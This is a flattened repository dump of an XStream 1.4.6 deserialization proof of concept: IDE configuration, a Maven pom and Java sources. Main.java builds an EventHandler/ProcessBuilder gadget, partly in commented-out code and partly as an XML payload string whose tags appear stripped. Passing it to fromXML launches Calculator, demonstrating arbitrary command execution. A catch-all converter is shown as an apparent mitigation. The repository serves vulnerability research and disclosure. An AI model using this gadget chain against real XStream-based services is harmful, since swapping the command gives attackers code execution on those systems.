├── .idea ├── .name ├── compiler.xml ├── copyright │ └── profiles_settings.xml ├── encodings.xml ├── libraries │ ├── Maven__com_thoughtworks_xstream_xstream_1_4_6.xml │ ├── Maven__xmlpull_xmlpull_1_1_3_1.xml │ └── Maven__xpp3_xpp3_min_1_1_4c.xml ├── misc.xml ├── modules.xml ├── scopes │ └── scope_settings.xml ├── uiDesigner.xml ├── vcs.xml └── workspace.xml ├── README.md ├── XStreamPOC.iml ├── pom.xml ├── src └── main │ └── java │ └── com │ └── pwntester │ └── xstreampoc │ ├── CatchAllConverter.java │ ├── Contact.java │ ├── ContactConverter.java │ └── Main.java └── target └── classes └── com └── pwntester └── xstreampoc ├── CatchAllConverter.class ├── Contact.class ├── ContactConverter.class ├── Main$1.class └── Main.class /.idea/.name: -------------------------------------------------------------------------------- 1 | XStreamPOC -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /.idea/copyright/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_thoughtworks_xstream_xstream_1_4_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__xmlpull_xmlpull_1_1_3_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__xpp3_xpp3_min_1_1_4c.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/scopes/scope_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 26 | 27 | 28 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 52 | 53 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 135 | 136 | 139 | 140 | 141 | 150 | 151 | 152 | 157 | 158 | 159 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 200 | 201 | 202 | 203 | 206 | 207 | 210 | 211 | 212 | 213 | 216 | 217 | 220 | 221 | 224 | 225 | 226 | 227 | 230 | 231 | 234 | 235 | 238 | 239 | 242 | 243 | 244 | 245 | 248 | 249 | 252 | 253 | 256 | 257 | 260 | 261 | 264 | 265 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 298 | 299 | 314 | 315 | 316 | 320 | 321 | 328 | 329 | 330 | 331 | 349 | 356 | 357 | 358 | 369 | 370 | 371 | 384 | 385 | 386 | 387 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | localhost 415 | 5050 416 | 417 | 418 | 419 | 420 | 436 | 437 | 438 | 439 | 1387801885304 440 | 1387801885304 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 479 | 480 | 491 | 533 | 534 | 535 | 536 | 537 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | 571 | 572 | 573 | 574 | 575 | 576 | 577 | 578 | 579 | 580 | 581 | 582 | 583 | 588 | 589 | 590 | 591 | 592 | 593 | No facets are configured 594 | 595 | 600 | 601 | 602 | 603 | 604 | 605 | 606 | 611 | 612 | 613 | 614 | 615 | 616 | 1.7 617 | 618 | 623 | 624 | 625 | 626 | 627 | 628 | XStreamPOC 629 | 630 | 636 | 637 | 638 | 639 | 640 | 641 | 1.7 642 | 643 | 648 | 649 | 650 | 651 | 652 | 653 | Maven: com.thoughtworks.xstream:xstream:1.4.6 654 | 655 | 660 | 661 | 662 | 663 | 664 | 665 | 666 | 667 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/README.md -------------------------------------------------------------------------------- /XStreamPOC.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | XStreamPOC 8 | XStreamPOC 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | com.thoughtworks.xstream 18 | xstream 19 | 1.4.6 20 | 21 | 22 | -------------------------------------------------------------------------------- /src/main/java/com/pwntester/xstreampoc/CatchAllConverter.java: -------------------------------------------------------------------------------- 1 | package com.pwntester.xstreampoc; 2 | 3 | /** 4 | * Created with IntelliJ IDEA. 5 | * User: alvaro 6 | * Date: 23/12/13 7 | * Time: 14:29 8 | * To change this template use File | Settings | File Templates. 9 | */ 10 | import com.thoughtworks.xstream.converters.Converter; 11 | import com.thoughtworks.xstream.converters.MarshallingContext; 12 | import com.thoughtworks.xstream.converters.UnmarshallingContext; 13 | import com.thoughtworks.xstream.io.HierarchicalStreamReader; 14 | import com.thoughtworks.xstream.io.HierarchicalStreamWriter; 15 | 16 | public class CatchAllConverter implements Converter { 17 | 18 | public boolean canConvert(Class clazz) { 19 | return true; 20 | } 21 | 22 | public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { 23 | } 24 | 25 | public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { 26 | return null; 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/com/pwntester/xstreampoc/Contact.java: -------------------------------------------------------------------------------- 1 | package com.pwntester.xstreampoc; 2 | 3 | /** 4 | * Created with IntelliJ IDEA. 5 | * User: alvaro 6 | * Date: 23/12/13 7 | * Time: 13:37 8 | * To change this template use File | Settings | File Templates. 9 | */ 10 | 11 | 12 | 13 | import com.thoughtworks.xstream.annotations.XStreamAlias; 14 | 15 | @XStreamAlias("contact") 16 | public class Contact { 17 | @XStreamAlias("name") 18 | String name; 19 | 20 | public String getName() { 21 | return name; 22 | } 23 | 24 | public void setName(String name) { 25 | this.name = name; 26 | } 27 | 28 | } 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /src/main/java/com/pwntester/xstreampoc/ContactConverter.java: -------------------------------------------------------------------------------- 1 | package com.pwntester.xstreampoc; 2 | 3 | /** 4 | * Created with IntelliJ IDEA. 5 | * User: alvaro 6 | * Date: 23/12/13 7 | * Time: 14:22 8 | * To change this template use File | Settings | File Templates. 9 | */ 10 | import com.thoughtworks.xstream.converters.Converter; 11 | import com.thoughtworks.xstream.converters.MarshallingContext; 12 | import com.thoughtworks.xstream.converters.UnmarshallingContext; 13 | import com.thoughtworks.xstream.io.HierarchicalStreamReader; 14 | import com.thoughtworks.xstream.io.HierarchicalStreamWriter; 15 | 16 | public class ContactConverter implements Converter { 17 | 18 | public boolean canConvert(Class clazz) { 19 | return clazz.equals(Contact.class); 20 | } 21 | 22 | public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) { 23 | Contact contact = (Contact) value; 24 | writer.startNode("name"); 25 | writer.setValue(contact.getName()); 26 | writer.endNode(); 27 | } 28 | 29 | public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { 30 | Contact contact = new Contact(); 31 | reader.moveDown(); 32 | contact.setName(reader.getValue()); 33 | reader.moveUp(); 34 | return contact; 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/com/pwntester/xstreampoc/Main.java: -------------------------------------------------------------------------------- 1 | package com.pwntester.xstreampoc; 2 | 3 | import java.io.IOException; 4 | import com.thoughtworks.xstream.XStream; 5 | import com.thoughtworks.xstream.io.xml.DomDriver; 6 | import java.beans.EventHandler; 7 | import java.util.Set; 8 | import java.util.TreeSet; 9 | 10 | /** 11 | * Created with IntelliJ IDEA. 12 | * User: alvaro 13 | * Date: 23/12/13 14 | * Time: 13:39 15 | * To change this template use File | Settings | File Templates. 16 | */ 17 | public class Main { 18 | public static void main(String[] args) throws IOException { 19 | 20 | XStream xstream = new XStream(new DomDriver()); 21 | xstream.processAnnotations(Contact.class); 22 | xstream.registerConverter(new ContactConverter()); 23 | xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW); 24 | 25 | Contact c = new Contact(); 26 | c.setName("Alvaro"); 27 | String sc = xstream.toXML(c); 28 | System.out.println(sc); 29 | 30 | //Set set = new TreeSet(); 31 | //set.add("foo"); 32 | //set.add(EventHandler.create(Comparable.class, new ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator"), "start")); 33 | //String payload2 = xstream.toXML(set); 34 | //System.out.println(payload2); 35 | 36 | String payload = "" + 37 | "foo" + 38 | "" + 39 | "java.lang.Comparable" + 40 | "" + 41 | " " + 42 | " " + 43 | " /Applications/Calculator.app/Contents/MacOS/Calculator" + 44 | " " + 45 | " " + 46 | " start" + 47 | "" + 48 | "" + 49 | ""; 50 | 51 | try { 52 | Contact expl = (Contact) xstream.fromXML(payload); 53 | } catch (com.thoughtworks.xstream.converters.ConversionException ex) { 54 | System.out.println("Trying to deserialize null object. Make sure the input is not null and that your custom converters have higher priority than the Catch-All converter"); 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /target/classes/com/pwntester/xstreampoc/CatchAllConverter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/CatchAllConverter.class -------------------------------------------------------------------------------- /target/classes/com/pwntester/xstreampoc/Contact.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/Contact.class -------------------------------------------------------------------------------- /target/classes/com/pwntester/xstreampoc/ContactConverter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/ContactConverter.class -------------------------------------------------------------------------------- /target/classes/com/pwntester/xstreampoc/Main$1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/Main$1.class -------------------------------------------------------------------------------- /target/classes/com/pwntester/xstreampoc/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pwntester/XStreamPOC/9fb1364918f668e8656ed1f0e4571c2a8c3ae10d/target/classes/com/pwntester/xstreampoc/Main.class --------------------------------------------------------------------------------